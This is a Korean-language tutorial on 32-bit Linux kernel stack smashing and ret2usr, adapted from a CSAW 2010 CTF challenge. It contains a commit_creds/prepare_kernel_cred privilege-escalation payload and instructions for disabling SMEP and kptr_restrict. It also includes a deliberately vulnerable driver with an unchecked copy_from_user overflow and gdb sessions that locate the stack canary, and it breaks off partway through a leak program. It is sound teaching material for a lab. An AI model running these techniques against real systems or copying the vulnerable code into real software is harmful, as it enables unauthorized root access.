Excuse the ads! We need some help to keep our site up.

List

Stack smashing(32bit) & ret2usr(Return-to-user)

ret2usr(Return-to-user)

  • ret2usr이란 커널영역의 코드가 사용자 모드의 코드를 실행 할 수있다는 것을 Exploit code에 활용한 기술입니다.
  • 다음과 같은 방법으로 ret2usr를 이용하여 권한 상승을 할 수 있습니다.
    • 권한 상승에 필요한 함수의 주소를 찾습니다.
    • 해당 주소를 함수 포인터에 저장합니다.
    • 해당 함수를 이용하여 유저 모드에서 권한 상승을 수행하는 함수를 작성합니다.
    • 해당 주소 값을 커널 영역에 저장합니다.
      • 커널 영역은 저장된 주소로 이동 또는 실행가능한 곳이어야 합니다.
  • 다음과 같은 형태로 유저 모드에서 권한 상승을 수행하는 함수(payload())를 구현할 수 있습니다.
Privilege Escalation
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

commit_creds = 0xc1082b60;
prepare_kernel_cred = 0xc1082e20;

void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
}

Set environment

  • 해당 장에서 작성된 코드는 Ubuntu 14.04(32bit)에서 테스트 하였습니다.
Information of the operating system
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ uname -a
Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ 
  • 해당 예제를 테스트 할 대상 커널의 리눅스 배포판 버전, 커널의 버전 정보를 확인합니다.
Target System
lazenca0x0@ubuntu:~$ lsb_release -cs
trusty
lazenca0x0@ubuntu:~$ uname -r
4.2.0-27-generic
lazenca0x0@ubuntu:~$
  • 디버깅 PC에 저장소 정보를 저장합니다.
sudo vi /etc/apt/sources.list.d/ddebs.list
deb http://ddebs.ubuntu.com trusty main restricted universe multiverse
deb http://ddebs.ubuntu.com trusty-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com trusty-proposed main restricted universe multiverse
  • 디버깅 PC에 공격 대상 시스템의 커널 버전에 맞는 Debug packages를 설치합니다.
Install Debug symbol
lazenca0x0@ubuntu:~$ sudo apt-get update
lazenca0x0@ubuntu:~$ sudo apt-get install linux-image-4.2.0-27-generic-dbgsym
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  linux-image-4.2.0-27-generic-dbgsym
0 upgraded, 1 newly installed, 0 to remove and 421 not upgraded.
Need to get 436 MB of archives.
After this operation, 2,236 MB of additional disk space will be used.
WARNING: The following packages cannot be authenticated!
  linux-image-4.2.0-27-generic-dbgsym
Install these packages without verification? [y/N] y
Get:1 http://ddebs.ubuntu.com trusty-updates/main i386 linux-image-4.2.0-27-generic-dbgsym i386 4.2.0-27.32~14.04.1 [436 MB]
Fetched 436 MB in 2min 30s (2,900 kB/s)                                                                                                                                            
Selecting previously unselected package linux-image-4.2.0-27-generic-dbgsym.
(Reading database ... 179208 files and directories currently installed.)
Preparing to unpack .../linux-image-4.2.0-27-generic-dbgsym_4.2.0-27.32~14.04.1_i386.ddeb ...
Unpacking linux-image-4.2.0-27-generic-dbgsym (4.2.0-27.32~14.04.1) ...
Setting up linux-image-4.2.0-27-generic-dbgsym (4.2.0-27.32~14.04.1) ...
lazenca0x0@ubuntu:~$ 
  • 다음과 같이 Debug Symbol 파일을 확인할 수 있습니다.
Path to Debug symbol
lazenca0x0@ubuntu:~$ file /usr/lib/debug/boot/vmlinux-4.2.0-27-generic 
/usr/lib/debug/boot/vmlinux-4.2.0-27-generic: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=73c1ee55f76230e9050e32272d4f0f1cc1d95ff6, not stripped
lazenca0x0@ubuntu:~$

Disable SMEP, SMAP, KASLR

  • 이번 장에서는 SMEP, SMAP, KASLR을 비활성화된 환경에서 공격을 진행하겠습니다.
  • 다음과 같이 "/proc/cpuinfo" 파일에서 SMEP, SMAP의 활성화 여부를 확인할 수 있습니다.
    • 아래 시스템에는 SMEP만 활성화되있습니다.
Target System
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ cat /proc/cpuinfo |grep smep
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid xsaveopt
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ 
  • SMEP,SMAP,KASLR을 비활성화 하기 위해 "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT" 영역에 아래와 같은 값을 추가합니다.
    • SMEP 비활성화 : nosmep
    • SMAP 비활성화 : nosmap
    • KASLR 비활성화 : nokaslr
  • 예제에서는 SMEP 비활성화를 적용하였습니다.
sudo vi /etc/default/grub
# If you change this file, run 'update-grub' afterwards to update
# /boot/grub/grub.cfg.
# For full documentation of the options in this file, see:
#   info -f grub -n 'Simple configuration'

GRUB_DEFAULT=0
GRUB_HIDDEN_TIMEOUT=0
GRUB_HIDDEN_TIMEOUT_QUIET=true
GRUB_TIMEOUT=10
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet nosmep"
GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US"

# Uncomment to enable BadRAM filtering, modify to suit your needs
# This works with Linux (no patch required) and with any kernel that obtains
# the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...)
#GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef"

# Uncomment to disable graphical terminal (grub-pc only)
#GRUB_TERMINAL=console
# The resolution used on graphical terminal
# note that you can use only modes which your graphic card supports via VBE
# you can see them in real GRUB with the command `vbeinfo'
#GRUB_GFXMODE=640x480

# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux
#GRUB_DISABLE_LINUX_UUID=true

# Uncomment to disable generation of recovery mode menu entries
#GRUB_DISABLE_RECOVERY="true"

# Uncomment to get a beep at grub start
#GRUB_INIT_TUNE="480 440 1"
  • 변경된 내용을 시스템에 반영하기 위해 "sudo update-grub" 명령어를 실행한 후 재부팅합니다.
Reflect changes
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo update-grub
Generating grub configuration file ...
Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported.
Found linux image: /boot/vmlinuz-4.2.0-27-generic
Found initrd image: /boot/initrd.img-4.2.0-27-generic
Found memtest86+ image: /boot/memtest86+.elf
Found memtest86+ image: /boot/memtest86+.bin
done
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ reboot
  • 다음과 같이 SMEP가 비활성화 된것을 확인 할 수 있습니다.
Disabled SMEP
lazenca0x0@ubuntu:~$ cat /proc/cpuinfo |grep smep
lazenca0x0@ubuntu:~$ cat /proc/cpuinfo |grep flags
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 bmi2 invpcid xsaveopt
lazenca0x0@ubuntu:~$

Disable KADR(Kernel Address Display Restriction)

  • 다음과 같이 KADR을 비황성화 합니다.
address of the chardev module
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo sysctl -w kernel.kptr_restrict=0
kernel.kptr_restrict = 0
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ cat /proc/kallsyms |grep chardev
f9c70000 t chardev_lseek	[chardev]
f9c700a0 t chardev_release	[chardev]
f9c700e0 t chardev_write	[chardev]
f9c70160 t chardev_read	[chardev]
f9c70260 t chardev_init	[chardev]
f9c722dc b chardev_major	[chardev]
f9c722a0 b chardev_cdev	[chardev]
f9c72280 b __key.24596	[chardev]
f9c72280 b chardev_class	[chardev]
f9c703a0 t chardev_exit	[chardev]
f9c72080 d __this_module	[chardev]
f9c72000 d chardev_fops	[chardev]
f9c703a0 t cleanup_module	[chardev]
f9c70260 t init_module	[chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$

Proof of concept

Example code

  • 이 예제 코드는 "CSAW 2010 Kernel Exploit"의 코드를 활용하였습니다.
    • 기존 코드는 linux-2.6.32 버전에서 동작되는 코드이며, 다음 예제에서는 4.2.0-27-generic 버전에서 동작아 가능 하도록 변경하였습니다.

chardev_write()

  • 해당 함수는 다음과 같이 동작합니다.
    • _copy_from_user() 함수를 이용하여 사용자 메모리 블록 데이터(buf 인자값)를 커널 메모리 블록 데이터(data 변수)에 복사합니다.

    • _copy_from_user() 함수를 이용하여 데이터가 복사 될 때 count 인자값의 크기에 의해 Stack Overflow가 발생하게 됩니다. 

chardev_read()

  • 해당 함수는 다음과 같이 동작합니다.
    • memset() 함수를 이용하여 data 변수 영역의 값을 '0'으로 초기화합니다.
    • strcpy() 함수를 이용하여 data 변수 영역에 문자열을 복사합니다.

    • memcpy() 함수를 이용하여 사용자 영역(buf)에 "data + *f_pos" 영역의 메모리 값을 BUFFER_SIZE 만큼 복사합니다.
      • *f_pos 인자 값은 사용자 영역에서 lseek()함수의 2번째 인자 값이 전달 됩니다.
      • 해당 코드에 의해 Memory leak이 발생하게 됩니다.

chardev_lseek()

  • 해당 함수는 사용사 영역에서 호출되는 lseek() 함수를 처리합니다.
chardev.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>

MODULE_LICENSE("Dual BSD/GPL");

#define DRIVER_NAME "chardev"
#define BUFFER_SIZE 64
     
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 2;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
 
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static loff_t chardev_lseek(struct file *, loff_t, int);

struct file_operations chardev_fops = {
    .release = chardev_release,
    .read    = chardev_read,
    .write   = chardev_write,
    .llseek = chardev_lseek,
};

struct data {
    unsigned char buffer[BUFFER_SIZE];
};

static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    dev_t dev;
 
    printk("The chardev_init() function has been called.");
     
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
 
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
 
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
 
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
 
    device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE);
 
    return 0;
}
 
static void chardev_exit(void)
{
    int minor; 
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
     
    printk("The chardev_exit() function has been called.");
     
    for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) {
        device_destroy(chardev_class, MKDEV(chardev_major, minor));
    }
 
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}
 
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_release() function has been called.");
    if (file->private_data) {
        kfree(file->private_data);
        file->private_data = NULL;
    }
    return 0;
}
 
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    char data[BUFFER_SIZE];
    printk("The chardev_write() function has been called.");   
    printk("Before calling the copy_from_user() function : %p",data);
    if (_copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
/*
    if (copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
    if (__copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
*/
    printk("After calling the copy_from_user() function : %p",data);
    return count;
}
 
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
    char data[BUFFER_SIZE];

    printk("The chardev_read() function has been called.\n");
    memset(data, 0, sizeof(data));
    strcpy(data, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    printk("MSG : %s",data);
    printk("f_pos : %lld\n",*f_pos);
    if (memcpy(buf, data + *f_pos, BUFFER_SIZE) != 0) {
        return -EFAULT;
    }
 
    return count;
}

static loff_t chardev_lseek(struct file *file, loff_t offset, int orig) {
    loff_t new_pos = 0;
    printk("The chardev_lseek() function has been called.");
    switch(orig) {
        case 0 : /*seek set*/
            new_pos = offset;
            break;
        case 1 : /*seek cur*/
            new_pos = file->f_pos + offset;
            break;
        case 2 : /*seek end*/
            new_pos = BUFFER_SIZE - offset;
            break;
    }
    if(new_pos > BUFFER_SIZE)
        new_pos = BUFFER_SIZE;
    if(new_pos < 0)
        new_pos = 0;
    file->f_pos = new_pos;
    return new_pos;
}

module_init(chardev_init);
module_exit(chardev_exit);
Makefile
obj-m = chardev.o
   
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
   
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
  • 다음과 같이 디바이스 모듈을 등록 및 설정합니다. 
Insert a module into the Linux Kernel
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ls -al /dev/chardev0 
crw-rw-rw- 1 root root 246, 0 Jan 29 01:46 /dev/chardev0

lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ lsmod |grep chardev
chardev                16384  0 
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ 

Find the address of "Canary"

  • 해당 예제에서 사용되는 모듈에는 Canary가 적용되어 있기 때문에 Canary값의 추출이 필요합니다.

  • 우선 다음 예제를 이용하여 chardev_read() 함수의 디버깅과 Canary의 위치를 확인해보겠습니다.

  • 해당 함수는 다음과 같이 동작합니다.

    • open()함수를 이용하여 "/dev/charde0" 모듈을 열어서 fd 변수에 파일 디스크립터 값을 저장합니다.

    • memset() 함수를 이용하여 buf 변수 영역을 문자 'A'로 채웁니다.

    • read() 함수를 이용하여 fd의 내용을 buf영역에 읽어들입니다.

test.c
//gcc -static -o test test.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
  
#define TEXT_LEN 64
  
int main()
{
    static char buf[128];
    int fd;
   
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }
   
    memset (buf, 'A', TEXT_LEN);
    read(fd, buf, TEXT_LEN);
    printf("%s", buf);
   
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
  • 다음과 같이 Debug에서 chardev_read() 함수의 시작 영역에 Break point를 설정합니다.
    • chardev_read() 함수의 주소는 0xf9ab0160입니다.
address of the chardev module
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ cat /proc/kallsyms |grep chardev
f9ab0000 t chardev_lseek [chardev]
f9ab00a0 t chardev_release  [chardev]
f9ab00e0 t chardev_write    [chardev]
f9ab0160 t chardev_read [chardev]
f9ab0260 t chardev_init [chardev]
f9ab22dc b chardev_major    [chardev]
f9ab22a0 b chardev_cdev [chardev]
f9ab2280 b __key.24596  [chardev]
f9ab2280 b chardev_class    [chardev]
f9ab03a0 t chardev_exit [chardev]
f9ab2080 d __this_module    [chardev]
f9ab2000 d chardev_fops [chardev]
f9ab03a0 t cleanup_module   [chardev]
f9ab0260 t init_module  [chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$
Break point *0xf9ab0160
0xfffffff0 in ?? ()
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h:50
50	/build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h: No such file or directory.
(gdb) b *0xf9ab0160
Breakpoint 1 at 0xf9ab0160
(gdb) c
Continuing.
  • chardev_read() 함수의 디버깅을 위해 다음과 같이 Break point를 설정합니다.

    • 0xf9ab01a6 : strcpy() 함수 호출 전

    • 0xf9ab01ab : strcpy() 함수 호출 후

    • 0xf9ab01d9 : 커널영역의 값을 사용자 영역으로 복사 전

    • 0xf9ab0239 : 커널영역의 값을 사용자 영역으로 복사 후

    • 0xf9ab0255 : chardev_read() 함수 종료 전

Set break point
Breakpoint 1, 0xf9ab0160 in ?? ()
(gdb) x/30i $eip
=> 0xf9ab0160:	push   ebp
   0xf9ab0161:	mov    ebp,esp
   0xf9ab0163:	push   edi
   0xf9ab0164:	push   esi
   0xf9ab0165:	push   ebx
   0xf9ab0166:	sub    esp,0x58
...
   0xf9ab0198:	mov    ecx,0x10
   0xf9ab019d:	rep stos DWORD PTR es:[edi],eax
   0xf9ab019f:	mov    edx,0xf9ab114c
   0xf9ab01a4:	mov    eax,esi
   0xf9ab01a6:	call   0xc1351320 <strcpy>
   0xf9ab01ab:	mov    DWORD PTR [esp+0x4],esi
...
   0xf9ab01d9:	test   ebx,ebx
   0xf9ab01db:  mov    eax,DWORD PTR [esi]
   0xf9ab01dd:  mov    DWORD PTR [ebx],eax
   0xf9ab01df:  mov    eax,DWORD PTR [esi+0x4]
   0xf9ab01e2:  mov    DWORD PTR [ebx+0x4],eax
   0xf9ab01e5:  mov    eax,DWORD PTR [esi+0x8]
   0xf9ab01e8:  mov    DWORD PTR [ebx+0x8],eax
...
   0xf9ab0233:  mov    eax,DWORD PTR [esi+0x3c]
   0xf9ab0236:  mov    DWORD PTR [ebx+0x3c],eax
   0xf9ab0239:  mov    eax,0xfffffff2
   0xf9ab023e:  cmove  eax,DWORD PTR [ebp-0x54]
   0xf9ab0242:  mov    edx,DWORD PTR [ebp-0x10]
   0xf9ab0245:  xor    edx,DWORD PTR gs:0x14
   0xf9ab024c:  jne    0xf9ab0256
   0xf9ab024e:  add    esp,0x58
   0xf9ab0251:  pop    ebx
   0xf9ab0252:  pop    esi
   0xf9ab0253:  pop    edi
   0xf9ab0254:  pop    ebp
   0xf9ab0255:  ret 
(gdb) b *0xf9ab01a6
Breakpoint 2 at 0xf9ab01a6
(gdb) b *0xf9ab01ab
Breakpoint 3 at 0xf9ab01ab
(gdb) b *0xf9ab01d9
Breakpoint 4 at 0xf9ab01d9
(gdb) b *0xf9ab0239
Breakpoint 5 at 0xf9ab0239
(gdb) i r esp
esp            0xecf2bf4c	0xecf2bf4c
(gdb) i r ebp
ebp            0xecf2bf5c	0xecf2bf5c
(gdb)
  • 다음과 같이 strcpy() 함수의 인자 값을 확인 할 수있습니다.
    • data 변수의 시작 주소는 0xecf2bef8이며, memset() 함수로 인해 해당 영역에 '0'으로 채워져 있습니다.
    • "Welcom..." 문자열의 시작 주소는 0xf9ab114c 이며, 해당 문자열이 strcpy() 함수 호출 후에 data 변수 영역에 저장됩니다.
Before and after the strcpy() function call
Breakpoint 2, 0xf9ab01a6 in ?? ()
(gdb) i r eax edx
eax            0xecf2bef8	-319635720
edx            0xf9ab114c	-106229428
(gdb) x/20wx 0xecf2bef8
0xecf2bef8:	0x00000000	0x00000000	0x00000000	0x00000000
0xecf2bf08:	0x00000000	0x00000000	0x00000000	0x00000000
0xecf2bf18:	0x00000000	0x00000000	0x00000000	0x00000000
0xecf2bf28:	0x00000000	0x00000000	0x00000000	0x00000000
0xecf2bf38:	0x6c76c40a	0xf9ab0160	0xecf2bf90	0x0804a060
(gdb) x/20wx 0xf9ab114c
0xf9ab114c:	0x636c6557	0x20656d6f	0x74206f74	0x43206568
0xf9ab115c:	0x20574153	0x20465443	0x6c616863	0x676e656c
0xf9ab116c:	0x42202e65	0x20747365	0x6c20666f	0x216b6375
0xf9ab117c:	0x0000000a	0x20656854	0x72616863	0x5f766564
0xf9ab118c:	0x74696e69	0x66202928	0x74636e75	0x206e6f69
(gdb) x/s 0xf9ab114c
0xf9ab114c:	"Welcome to the CSAW CTF challenge. Best of luck!\n"
(gdb) c
Continuing.

Breakpoint 3, 0xf9ab01ab in ?? ()
(gdb) x/20wx 0xecf2bef8
0xecf2bef8:	0x636c6557	0x20656d6f	0x74206f74	0x43206568
0xecf2bf08:	0x20574153	0x20465443	0x6c616863	0x676e656c
0xecf2bf18:	0x42202e65	0x20747365	0x6c20666f	0x216b6375
0xecf2bf28:	0x0000000a	0x00000000	0x00000000	0x00000000
0xecf2bf38:	0x6c76c40a	0xf9ab0160	0xecf2bf90	0x0804a060
(gdb) x/s 0xecf2bef8
0xf9ab114c:	"Welcome to the CSAW CTF challenge. Best of luck!\n"
(gdb) c
Continuing.
  • 유저영역의 buf 변수 영역에 "Welcom..." 문자열을 저장하기 위해 다음과 같이 동작합니다.

    • "mov eax,DWORD PTR [esi]"코드는 esi 레지스터에 저장된 주소 영역에 저장된 값을 eax에 저장합니다.

      • esi 레지스터의 값은 0xecf2bef8 이며, 해당 영역은 "Welcom..." 문자열의 시작 주소입니다.
      • eax 레지스터에 저장되는 값은 "Welc" 입니다.
    • "mov DWORD PTR [ebx],eax"코드는 eax 레지스터에 저장된 값을 ebx 레지스터에 저장된 주소 영역에 값을 저장합니다.

      • ebx 레지스터의 값은 0x804a060 이며, 해당 영역은 유저 영역의 buf 변수의 시작 주소 입니다.
    • 이러한 코드 형태로 esi, ebx 레지스터의 값을 증가시키면서 buf 변수에 커널 메모리 영역의 값을 저장합니다.
      • mov eax,DWORD PTR [esi+0x4]
      • mov DWORD PTR [ebx+0x4],eax
      • ...
Copy data to user space
Breakpoint 4, 0xf9ab01d9 in ?? ()
(gdb) si
0xf9ab01db in ?? ()
(gdb) x/40i $eip
=> 0xf9ab01db:	mov    eax,DWORD PTR [esi]
   0xf9ab01dd:	mov    DWORD PTR [ebx],eax
   0xf9ab01df:	mov    eax,DWORD PTR [esi+0x4]
   0xf9ab01e2:	mov    DWORD PTR [ebx+0x4],eax
   0xf9ab01e5:	mov    eax,DWORD PTR [esi+0x8]
   0xf9ab01e8:	mov    DWORD PTR [ebx+0x8],eax
   0xf9ab01eb:	mov    eax,DWORD PTR [esi+0xc]
   0xf9ab01ee:	mov    DWORD PTR [ebx+0xc],eax
   0xf9ab01f1:	mov    eax,DWORD PTR [esi+0x10]
   0xf9ab01f4:	mov    DWORD PTR [ebx+0x10],eax
   0xf9ab01f7:	mov    eax,DWORD PTR [esi+0x14]
   0xf9ab01fa:	mov    DWORD PTR [ebx+0x14],eax
   0xf9ab01fd:	mov    eax,DWORD PTR [esi+0x18]
   0xf9ab0200:	mov    DWORD PTR [ebx+0x18],eax
   0xf9ab0203:	mov    eax,DWORD PTR [esi+0x1c]
   0xf9ab0206:	mov    DWORD PTR [ebx+0x1c],eax
   0xf9ab0209:	mov    eax,DWORD PTR [esi+0x20]
   0xf9ab020c:	mov    DWORD PTR [ebx+0x20],eax
   0xf9ab020f:	mov    eax,DWORD PTR [esi+0x24]
   0xf9ab0212:	mov    DWORD PTR [ebx+0x24],eax
   0xf9ab0215:	mov    eax,DWORD PTR [esi+0x28]
   0xf9ab0218:	mov    DWORD PTR [ebx+0x28],eax
   0xf9ab021b:	mov    eax,DWORD PTR [esi+0x2c]
   0xf9ab021e:	mov    DWORD PTR [ebx+0x2c],eax
   0xf9ab0221:	mov    eax,DWORD PTR [esi+0x30]
   0xf9ab0224:	mov    DWORD PTR [ebx+0x30],eax
   0xf9ab0227:	mov    eax,DWORD PTR [esi+0x34]
   0xf9ab022a:	mov    DWORD PTR [ebx+0x34],eax
   0xf9ab022d:	mov    eax,DWORD PTR [esi+0x38]
   0xf9ab0230:	mov    DWORD PTR [ebx+0x38],eax
   0xf9ab0233:	mov    eax,DWORD PTR [esi+0x3c]
   0xf9ab0236:	mov    DWORD PTR [ebx+0x3c],eax
   0xf9ab0239:	mov    eax,0xfffffff2
   0xf9ab023e:	cmove  eax,DWORD PTR [ebp-0x54]
   0xf9ab0242:	mov    edx,DWORD PTR [ebp-0x10]
   0xf9ab0245:	xor    edx,DWORD PTR gs:0x14
   0xf9ab024c:	jne    0xf9ab0256
   0xf9ab024e:	add    esp,0x58
   0xf9ab0251:	pop    ebx
   0xf9ab0252:	pop    esi
(gdb) i r esi
esi            0xecf2bef8	-319635720
(gdb) x/wx 0xecf2bef8
0xecf2bef8:	0x636c6557
(gdb) x/s 0xecf2bef8
0xecf2bef8:	"Welcome to the CSAW CTF challenge. Best of luck!\n"
(gdb) i r ebx
ebx            0x804a060	134520928
(gdb) x/20wx 0x804a060
0x804a060:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a070:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a080:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a090:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a0a0:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb) si
0xf9ab01dd in ?? ()
(gdb) si
0xf9ab01df in ?? ()
(gdb) x/20wx 0x804a060
0x804a060:	0x636c6557	0x41414141	0x41414141	0x41414141
0x804a070:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a080:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a090:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a0a0:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb) c
Continuing.
  • 다음과 같이 buf 변수에 "Welcom..." 문자열일 저장되었습니다.
Copy completed
Breakpoint 5, 0xf9ab0239 in ?? ()
(gdb) x/20wx 0x804a060
0x804a060:	0x636c6557	0x20656d6f	0x74206f74	0x43206568
0x804a070:	0x20574153	0x20465443	0x6c616863	0x676e656c
0x804a080:	0x42202e65	0x20747365	0x6c20666f	0x216b6375
0x804a090:	0x0000000a	0x00000000	0x00000000	0x00000000
0x804a0a0:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb) x/s 0x804a060
0x804a060:	"Welcome to the CSAW CTF challenge. Best of luck!\n"
(gdb) c
Continuing.
  • 다음과 같이 Canary 값이 저장된 메모리 주소 값을 확인할 수있습니다.
    • 0xf9ab0242 영역의 "mov edx,DWORD PTR [ebp-0x10]" 코드에 의해 Stack에 저장된 Canary 값을 edx 레지스터에 저장합니다.
    • ebp 레지스터에 저장된 값은 0xecf2bf48 이며, Canary 값이 저장된 영역은 0xecf2bf38(0xecf2bf48 - 0x10)입니다.
    • 즉, Canary가 저장된 영역은 data 변수의 시작 주소(0xecf2bef8)로 부터 64 byte 떨어져 있다는 것을 알수 있습니다.
      • 0xecf2bf38 - 0xecf2bef8 = 64
Find addresses where Canary values are stored
(gdb) si
0xf9ab023e in ?? ()
(gdb) x/10i $eip
=> 0xf9ab023e:	cmove  eax,DWORD PTR [ebp-0x54]
   0xf9ab0242:	mov    edx,DWORD PTR [ebp-0x10]
   0xf9ab0245:	xor    edx,DWORD PTR gs:0x14
   0xf9ab024c:	jne    0xf9ab0256
   0xf9ab024e:	add    esp,0x58
   0xf9ab0251:	pop    ebx
   0xf9ab0252:	pop    esi
   0xf9ab0253:	pop    edi
   0xf9ab0254:	pop    ebp
   0xf9ab0255:	ret    
(gdb) si
0xf9ab0242 in ?? ()
(gdb) i r ebp
ebp            0xecf2bf48	0xecf2bf48
(gdb) x/wx 0xecf2bf48 - 0x10
0xecf2bf38:	0xc632049c
(gdb) p/d 0xecf2bf38 - 0xecf2bef8
$4 = 64
(gdb) 

Leak Canary

  • Canary 값을 추출하기 위해 다음과 같이 코드를 작성합니다.

    • lseek() 함수를 이용하여 fd의 포인트 위치로 부터 32 byte 뒤로 이동합니다.

    • read() 함수를 이용하여 fd 영역의 값을 buf영역에 저장합니다.

leak.c
//gcc -static -o leak leak.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

#define TEXT_LEN 64

int main()
{
    static char buf[512]; 
    char canary[8];
    int fd,i,j;
 
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 32, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

